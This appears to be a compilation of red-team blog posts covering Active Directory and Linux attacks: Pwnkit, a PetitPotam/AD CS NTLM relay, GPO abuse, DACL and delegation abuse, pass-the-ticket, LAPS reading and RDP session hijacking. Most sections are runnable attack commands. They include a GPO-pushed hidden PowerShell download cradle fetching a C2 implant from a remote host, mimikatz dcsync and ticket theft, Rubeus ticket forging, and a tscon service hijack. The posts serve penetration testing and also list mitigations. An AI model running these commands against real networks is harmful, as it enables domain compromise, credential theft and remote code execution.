SSH ProxyCommand & ProxyJump

SSH ProxyCommand and ProxyJump to the rescue for jumping through multiple SSH hosts. I was asked by a fellow team member how we access RDP through two Linux hosts recently. I had to think for a moment, and remembered good old ProxyCommand and ProxyJump. So I thought I would post this up as a note to self and anybody else who might find this useful.

In this scenario imagine we are on the outside of a NAT firewall (this could be across the internet of internal network), we need access to a windows host several networks deep with only Linux/ssh hosts to jump across. Similar to the below:

How do we achieve it? Well, we can actually do this several ways with different commands. One way is to SSH to each host in turn and do a local port forward. That seems a bit long winded. Another approach would be to formulate a set of SSH commands in the /etc/ssh_config file, again a bit long winded. Alternatively, a one liner more suited in this situation would see multiple SSH commands nested together with local port forwarding. There are actually also (not surprisingly) several ways we can achieve a one liner using the likes of ProxyCommand, ProxyCommand with nc and newer versions of openssh ProxyJump.

With ProxyCommand this is what our command would look like:

ssh -o "ProxyCommand=ssh -W %h:%p -o 'ProxyCommand=ssh -W %%h:%%p -L 3389:127.0.0.1:3389 root@10.0.0.46' -L 3389:127.0.0.1:3389 root@192.168.2.100" -L 3389:192.168.3.202:3389 root@192.168.3.100 -vv

This will prompt you at each host for the password, unless you use SSH key pair with no password.

There are a couple of key elements in this one liner that we will go through:

-o : This is used to specify the option you want to use, in this case proxycommand.

-W : This is important, as this redirects the std input/output back to your host securely. Two additional options after the -W are %h which is our kali host and %p is our ssh port. This is specified in each proxycommand, note in the second command the %% this is essential to escape the characters. Note -W is not to be confused with lower case -w which is for a completely different task.

-L : This is our regular local port forward, in this case at each jump host we forwarding back 3389.

Another more neat and simpler way to do this is to use the ProxyJump command which is shortened to -J.

ssh -J root@10.0.0.46,root@192.168.2.100 -L 3389:192.168.3.202:3389 root@192.168.3.100

With ProxyJump we are setting our jump hosts in line one after the other comma separated and just setting the local port forward on our final host. This tunnels the port right through from your local box through to the destination server.

All that is left to do now is to use rdesktop or xfreerdp to 127.0.0.1 on 3389 using either proxycommand or proxyjump.

Pretty cool huh.

CVE-2021-4034 “Pwnkit” Local Privilege Escalation (LPE) vulnerability

Pwnkit, this is a bad one a really bad one as the “Policy Toolkit” “Polkit” package is installed by default on almost every major Linux operating system distribution after 2009.

Pwnkit was discoved by Qualys and reported 2021-11-18, they have a good technical write up located here: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

The Polkit package was first released in 2009 therefore the OS needs to be newer than this date, but not updated after January 2022. It essentially allows for an unprivileged user to interact with the pkexec utility to gain full local privilege escalation with relative ease. Polkit can be thought of as similar to sudo, pkexec is the front end SUID-root program, both in gui and cli form. pkexec takes a number of command line arguments like below:

pwnkit

The crux of the vulnerability lies within passing x amount of arguments to produce and out of bounds write, eventually overwriting a system environment variable.

Exploit:

We will use the following exploit code by Andris Raugulis located here to gain LPE. We will simply compile with gcc and run as below:

pwnkit

As you can see this instantly pops root privs. For info this is a recent Ubuntu server.

Fix:

Patches are being rolled out however the recommended temporary fix by Qualys is to remove the SUID bit from the pkexec binary. This can be done with a command such as the following:
chmod 0755 /usr/bin/pkexec

If you run the exploit against a patched system it simply return the pkexec help menu:

pwnkit
pnk

PetitPotam and Active Directory Certificate Services NTLM Relay Attack

In this post I walk through the PetitPotam and Active Directory Certificate Services NTLM Relay Attack recently announced. My hope is to raise awareness of the attack and offer some practical mitigation for the vulnerability.

Following on from the recent work conducted by SpectorOps where various AD attack path were identified within Active Directory Certificate Services/Certificate Authority (AD CS/CA). ExAndroidDev carried out some further fine work within the ntlmrrelayx.py script to allow targeting of a CA, this was subsequently submitted as pull request into the SecureAuthCorp Impacket master branch. This essentially allows credentials to be relayed to the CA Enrollment Web Services (EWS) resulting in a base64 encoded cert for the template you specify. The certificate can then be imported into Rubeus or kekeo and subsequently used in various pass the ticket type attacks such as dcsync.

The modified version of Impacket’s ntlmrelayx.py is a little different to the master branch, once we get into git cloning the master branch and switching to the specific commit or using ExAndroidDev version we will most likely want to isolate the install as we don’t want to mess with our known good working install within Kali. Therefore it would be wise to install and run the newer version in a python virtual environment. Lets get started:

apt-get install python3-venv #install venv
mkdir python-virtual-environments && cd python-virtual-environments # create a directory for your venv's
sudo python3 -m venv env1 # create a venv called env1 
source env1/bin/activate # activate env1 to use it
cd env1
git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
python setup.py install # installing in the env1 will ensure you don't mess up your original install
cd impacket/examples

For my lab I used a similar setup to the below:

Using the new ntlmrelayx.py we can setup the NTLM relay as below:

ntlmrelayx.py -t http://10.0.1.20/certsrv/certfnsh.asp -smb2support --adcs -template "kerberosAuthentication"

What this is effectively doing is setting up a relay server ready for credentials to be squirted to the CA. This can be achieved in a number of ways for example using responder, mitm6 as well as the newly released tool/script PetitPotam.

Enter PetitPotam, this new found attack vector allows us to coerce a Windows host to authenticate to other computers (in the form of ntlm) onward to our relay server. This is done by eliciting a response from a machine through SMB port 445 against the Encrypting File System Remote (EFSRPC) Protocol service using a specific named pipe LSARPC with interface c681d488-d850-11d0-8c52-00c04fd90f7e. Looking into the petitpotam py script we can see it try’s to make a binding with the following pipes:

This essentially allows a computer account to authenticate to another computer account on the same domain via MS-EFSRPC EfsRpcOpenFileRaw function through the relay. More in-depth info regarding MS-EFSRPC – Encrypting File System Remote (EFSRPC) Protocol can be found here https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31 .

The main requirement to note here is that the ntlm credentials must be sent from from the authenticated position to the relay (dc to relay), this could be from an already phished computer or simply relying on responder, the second main point here is this can now be elicited from an unauthenticated position with PetitPotam.

We will go ahead and git clone the PetitPotam code:

git clone https://github.com/topotam/PetitPotam.git

The PetitPotam vulnerability can be identified with a basic unauthenticated Nessus scan (plugin ID 152102, CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

A vulnerable Certificate Authority will be one that is running HTTP not HTTPS, accepts NTLM authentication and has at least one template published that allows for client authentication like the kerberos Authentication template. The ADCS role is normally (in my experience) installed on a DC in smaller environments or as a standalone member server, this can be verified by accessing port 80 on a DC or suspect CA, authenticating with the basic auth form with a low priv user and verifying its the CA enrolment page.

Back to our exploit:

As PetitPotam does require Impacket we will use our python virtual environment, in a second terminal we run the PetitPotam script like below:

python3 petitpotam.py 10.0.1.153 10.0.1.129

Where the first IP address is the relay server and the second is the AD server (not your AD CS).

As you will see from my lab I received an error message saying ‘something went wrong…’ however this still seemed to work just fine. We know this as we can see the DC sending an authentication request into the ntlmrelayx tool, then onto the AD CS like below:

We can see our authentication as DC1$ machine account against the CA succeeded, a Certificate Signing Request (CSR) is generated and a Base64 certificate received for what appears to be the DC1$ machine account. Oh dear.

Next we’ll take this Base64 cert and use it with Rubeus to request a TicketGrantingTicket (TGT). This needs to be running in a security context associated within the domain, in this case I have used a low privileged domain user account ‘securecorp.uk\ted’ in a ‘runas /netonly’ session from my Windows attack vm:

runas /netonly /user:securecorp.uk\ted "cmd.exe /k"

Then with Rubeus…

rubeus.exe asktgt /user:dc1$ /ptt /certificate:MIIRbQIBAzCCET.....

If we look at our tickets on our Windows Attack VM using ‘klist’ we see the following ticket for dc1$:

With the correct ticket now in hand we can dcsync the administrators account with mimikatz (still in the same security context):

lsadump::dcsync /user:Administrator /domain:securecorp.uk

With the NTLM hash now firmly in our possession we can attempt to crack or simple Pass The Ticket (PTT) with multiple other tools such as wmiexe.py.

Recommendations:

There are several different aspects to consider with this chained attack. The following options should be considered and importantly tested within your own environment to ensure they suit your needs. Microsoft also has the following Mitigation https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429:

• Disable incoming NTLM authentication using GPO “Network security: Restrict NTLM: Incoming NTLM traffic”.
• Configure IIS to use Kerberos authentication only by removing NTLM authentication, set Windows authentication to Negotiate:Kerberos .
• Use HTTPS instead of HTTP for IIS on the CA.
• Consider enabling Extended Protection for Authentication (EPA) for clients and server https://msrc-blog.microsoft.com/2009/12/08/extended-protection-for-authentication/.

Useful References:

https://github.com/topotam/PetitPotam

https://posts.specterops.io/certified-pre-owned-d95910965cd2

https://github.com/SecureAuthCorp/impacket/pull/1101

https://www.blackhillsinfosec.com/admins-nightmare-combining-hivenightmare-serioussam-and-ad-cs-attack-paths-for-profit/

https://www.youtube.com/watch?v=wJXTg4mK_dI


https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack

https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack

https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/

GPO Abuse – Edit permissions misconfiguration

In this scenario we take a look at GPO Abuse, which sees domain users or a specific compromised user (Jane in this example) having edit permissions to a GPO that affects a large number of machines (ok only one in the lab!). This post is to highlight the dangers of this and walk through a proof of concept to highlight the risk. Clearly this can be deadly, it can be used to spread ransomware, malware, reverse shells and any number of settings we wish to push to computer objects affected by that GPO. As a computer policy the settings are pushed out in the context of NT Authority\ SYSTEM (the highest privilege level on a Windows system). The scenario could also be such that we have control over an Organisation Unit not just a specific GPO (i.e. creating a new GPO and linking it to that OU).

Let’s start by enumerating all the permissions for all GPOs in the current domain with PowerView:

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

We find that the group ‘Domain Users’ have the ability to modify the ‘Dodgy Policy’ GPO which is linked to the ‘Development’ OU which contains the ‘File1’ computer object. In bloodhound this looks like:

The misconfiguration in Group Policy Management GUI would be similar to this (or a security group or individual) in this case we have used ‘Domain Users’:

We can use the RSAT (Remote Server Administration Tools) GUI and or PowerShell modules to modify or create a new policy:

New-GPO -Name 'dodgey policy' | New-GPLink -Target 'OU=Development,OU=Servers,OU=Resources,DC=Jango,DC=com'

The actions of this attack can be wide reaching in terms of the number of affected hosts, in such a situation whilst on a penetration test it would be wise to consider limiting the target hosts of a new GPO to a couple of hosts specifically. We can do this in two ways:

1. Object level targeting by applying a WMI Filter: In the GPO setting you can target various AD or WMI objects. For example something similar to the following: MS SELECT * FROM Win32_ComputerSystem WHERE Name IS ‘FILE1’.

2. Security Filtering: Remove the default “authenticated users” and add the computer name/security group with computer objects.

Some versions of PowerView (to the best of my knowledge) contain a ‘New-GPOImmediateTask’ function, which can create a scheduled task which will run once GPO refreshes. We can push any PowerShell or CMD command such as stager, launcher or download cradle.

I wasn’t able to find the New GPOImmediateTask function in the latest version of PowerView from github however it is in this branch: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1

The following syntax is used:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName Dodgeypolicy -CommandArguments '-NoP -NonI -W Hidden -Enc JABXAGMAPQBO…' -Force

You can remove the schtask .xml after you get execution by supplying the -Remove flag like below (this is a nice feature):

New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy.

I wasn’t able to get this working in my labs, however not deterred I looked for an alternative way. Alternatives being standard RSAT GUI (not very red team) and SharpGPOAbuse . SharpGPOAbuse will essentially do a very a similar job to PowerView by modifying the target GPO, which when applied to a machine will create a scheduled task which will instantly run.

First compile SharpGPOAbuse in Visual Studio (needs a write up in its own right).

Next we will use the Assembly Task from within Covenant, with the following parameters:

--AddComputerTask --TaskName "Task1" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c powershell -Sta -Nop -Window Hidden -Command iex (New-Object Net.WebClient).DownloadString('http://192.168.1.104/GruntHTTP.ps1')" --GPOName "dodgey policy"

Great, we see the commands executed successfully in our covenant output and the GPO has been updated, we can see the file that has been updated in sysvol on the DC!

If we look in Group Policy Management console on the DC we can see specifically what has been set:

Once GPO has been refreshed (every 90 mins by default) we can verify our results on the target system ‘File1’, we can see that Task1 has been applied in the Task Scheduler:

The proof is always in the pudding, and we can see a grunt has connected:

Things to consider from a pentesting perspective:

  • The impact could be significant, so verify how this affects your position. I.e. How many machines will this affect, what sort of machines critical infra?
  • An alternative route to reach your goal may have less of an impact.
  • As an alternative approach to highlight this risk to a client might be to simple demonstrate through RSAT by creating a blank GPO and linking it to the OU without creating the task or any actions.
  • To the best of my knowledge I couldn’t see a ‘remove’ or ‘reverse’ action within SharpGPOAbuse, to revert back/clean up our modifications. As a Pentester/Red Team member you should be mindful of this. Depending on the engagement I would suggest this is run in conjunction with the POC or have the ability to clean this up, both the task its created and the GPO.
  • This is not OPSEC safe, admins may see the changes in the GPO console.
  • Always remember to clear up after yourself.

Hopefully this has demonstrated how powerful and dangerous this sort of misconfiguration is in the enterprise can be. For the blue team, check your configuration with bloodhound to understand any weakness you may have.

DACL Trouble: GenericAll on OUs

Take the following scenario:

This is bit of an odd one however misconfigurations as we know happen. Our standard user Ted has GenericAll DACL permissions over the object ‘Development’ OU (Organisation Unit). We see that our target admin ‘Terry_adm’ also sits under the Development OU, however we don’t automatically have GenericAll over this account just the OU. So how do we take advantage of this privilege and abuse the GenericAll to compromise the Terry_adm account? Lets walk through a proof of concept.

Lets first take a look at this configuration in AD Users and Computers, we can see that the Principal ‘Ted’ only has full control over ‘This object only’ ie the Development OU. We will look to effectively extend this to all descendant objects as shown in the attack path in Bloodhound to get to Terry_adm :

Lets just first prove we don’t have access to the target admin account terry_adm by trying to reset its password:

OK fine, we don’t have access to change Terry_adm password.

Next we will need the Development OU GUID, we can use PowerView for this or get it from Bloodhound:

Once we have this we can build the ACE on the development OU object, to allow us to have access to all descendant objects of the OU. The below is a one liner, remember to change both the ‘PrincipalIdentity’ value to the username who has GenericAll permission and also the GUID of the OU (read through the below and try to understand what its doing):

$Guids = Get-DomainGUIDMap; $AllObjectPropertyGuid = $Guids.GetEnumerator() | Where-Object {$_.value -eq 'All'} | Select -ExpandProperty name; $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity Ted -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectPropertyGuid; $OU = Get-DomainOU -Raw '3346827a-1a03-4345-99da-c991532481cf'; $DsEntry = $OU.GetDirectoryEntry(); $dsEntry.PsBase.Options.SecurityMasks = 'Dacl'; $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE); $dsEntry.PsBase.CommitChanges()

If we then wait a few minutes and then try to reset Terry_adm password to prove we now have GenericAll all against descendant objects of the OU we get:

Nice.

Lets quickly take a look in the backend and review the DACL in AD Users and Computers for the Development OU:

Very nice, we can now see we have the ‘This object and all descendant objects’ applied. Remember you will need to reverse your actions as a tester.

The same process can be applied to computer objects, once the ACE is created follow the ‘Resource-based Constrained Delegation: Attack Path’ for computer take over.

Big thanks to SpecterOps who demonstrate the process here.

Pass the Ticket: PTH

Take the following scenario, you have local admin rights on a server and have identified a high value target that has a session logged in, where do you go from here? From the Bloodhound screenshot below we can see that Bob_adm has a session on web1.

Lets explore compromising the bob-adm session. First we’ll log in to web1 dump the ticket using mimikatz and the reuse it to impersonate that user.

First we will Load mimikatz in a high integrity session and run up “privilege::debug” “sekurlsa::tickets /export”

This will export a bunch of tickets into the directory where you ran mimikatz from and will look similar to this:

Notice the differences in the tickets we can see some are Ticket Granting Tickets (TGT) which have been used to gain Ticket Granting Service (TGS) for specific services such as ldap, cifs etc. The ticket we are interested in is the krbtgt.

Next we will use mimikatz to inject one of the kirbi files into our own session:

kerberos::ptt[0;141473]-2-0-40e10000-bob_adm@krbtgt-JANGO.COM.kirbi

If we check the ticket we can see the following in mimikatz:

And then in windows with klist:

Then finally to impersonate bob_adm we will test our newly crafted ticket by browsing to the C$ or the domain controller:

Nice.

LAPS ms-Mcs-AdmPwd enumeration/attack vector

Take the following scenario, we have compromised Ted’s account, we identify he has LAPS read permissions to a few boxes, how do we go about taking advantage of that from the Red Team attack perspective? Well its pretty straight forward with no catches, we just read the AD ms-Mcs-AdmPwd attribute from the computer object.

ReadLAPSPassword

In this case our compromised user has the ability to read the ‘ms-Mcs-AdmPwd’ LAPS attribute on SQL1 which is the password field for the local administrators account. With the right tools ted can read this attribute, we will use PowerView.

Import PowerView (in this instance I’m using Covenant the .NET command and control framework):

Using PowerView to read the ms-mcs-AdmPwd attribute
Get-DomainObject SQL1.Jango.com -Properties "ms-mcs-AdmPwd",name

If we look at the attribute editor in AD Users and Computers for the SQL1 account we can see this aligns:

Showing the ms-Mcs-AdmPwd AD computer object attribute.

Easy!

Note: The moral of this story, ensure the principle of least privilege is followed, ask yourself was Ted supposed to be in that group. I’ve written about the benefits of LAPS here and here, however careful configuration is required. Ensure you LAPS permissions are in check.

Stealing RDP Sessions

Take the following scenario, you compromise a box through a Kerberoastable SPN, which just so happens to be a SQL account which has been added to the local administrators group on the SQL server (very common scenario). Also logged into the server via RDP is another admin. We can effectively take over this session through Microsoft native tooling using Remote Desktop Services: Session Shadowing:

You RDP in and enumerate the logged on sessions with ‘query user’.

We can see that bob-adm is also logged on and is in an ‘Active’ session, now this is a very risky maneuver and should really be considered as a last resort as it will effectively take over the other users session. If you try to connect to the users session through task manager like below you will be prompted for a password:

However the key thing here is that you don’t need the users password if you run the process as local SYSTEM.

We can achieve this simply in two ways:

Create a simple service like below in the context as local SYSTEM:

sc create rdptakeover binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#1"

Looking at the service in more detail it is in fact created to run as local SYSTEM:

We can then just start the service with:

sc start rdptakeover

The RDP session that your currently logged in with will literally switch over to the other session instantly.

The same process can be achieved with mimikatz as below:

The commands being:

privilege::debug
token::elevate
ts::sessions
ts::remote /id:2

One way we can reduce the impact of this is to use group policy to remove disconnected remote sessions, we do this with the following policy:

Administrative Templates / Windows Components / Remote Desktop Services / Remote Desktop Session Host / Session Time Limits

Active Directory Resource-based Constrained Delegation: Attack Path

Take the following scenario:

Our standard user Ted has GenericAll writes over file1.jango.com. However, how do we take advantage of this privilege, first lets just prove we don’t have access to the target server:

We will need the following info (track this as you go):

Target Computer Name: file1.jango.com
Admin on Target Computer: administrator
Fake Computer Name: fakecomputer
Fake Computer Sid: S-1-5-21-759278571-4292840072-3113789661-1116
Fake Computer Password: Password1

Using PowerMad we can create a fake computer system, any domain user can do this in the domain:

import-module PowerMad.ps1

New-MachineAccount -MachineAccount fakecomputer -Password $(ConvertTo-SecureString 'Password1' -AsPlainText -Force)

Get the SID for the new fakecomputer object with PowerView:

Get-DomainComputer fakecomputer -Properties objectsid | Select -Expand objectsid

Next, build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-759278571-4292840072-3113789661-1119)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); 
Get-DomainComputer file1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

No output will be generated for this, so to verify this has worked run the following:

$RawBytes = Get-DomainComputer file1 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity; $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0; $Descriptor.DiscretionaryAcl

We can see that the ACE has been built:

NOTE: This will modify the ‘msds-allowedtoactonbehalfofotheridentity’ of the target computer system!!!!!!!

Now our our new machine fakecomputer is trusted by by file1 we can forge a ticket with Rubeus:

First we need the rc4_hmac (ntlm):

Rubeus hash /password:Summer2018! /user:fakecomputer /domain:jango.com

The we can craft the ticket:

Rubeus s4u /user:fakecomputer$ /rc4:64F12CDDAA88057E06A81B54E73B949B /impersonateuser:bob_adm /msdsspn:cifs/file1.jango.com /ptt

Verify we can now access the C:\ drive of the target machine. NOTE: the above ticket has been crafted specifically for access to the target machine for that service ONLY:

We can also verify by looking at the tickets with built in klist and then Rubeus:

Finally to cleanup the modified AD object and clear the ‘msds-allowedtoactonbehalfofotheridentity’ attribute with PowerView:

Get-DomainComputer file1 | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity'

Thanks to both harmj0y and wald0 for these excellent posts on the subject:

https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/

https://www.youtube.com/watch?v=RUbADHcBLKg

PowerShell History and Aliases

PowerShell history is session based by default, however, your long term history is available here:
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

To make this a little more accessible we will create a profile script that gets executed every time you fire up PowerShell and an alias for the above type $env.. command:

First we will create the profile script in our profile under: C:\users\adam\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

Then in you favourite PowerShell editor we will add our alias to the Microsoft.PowerShell_profile.ps1 file in the form of a simple function:

function historyfunc{
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
}
Set-Alias extra-history historyfunc

Now you can just run ‘extra-history’ you may need to adjust your script execution policy as every time a session runs it will want to run your .ps1 script. Enjoy!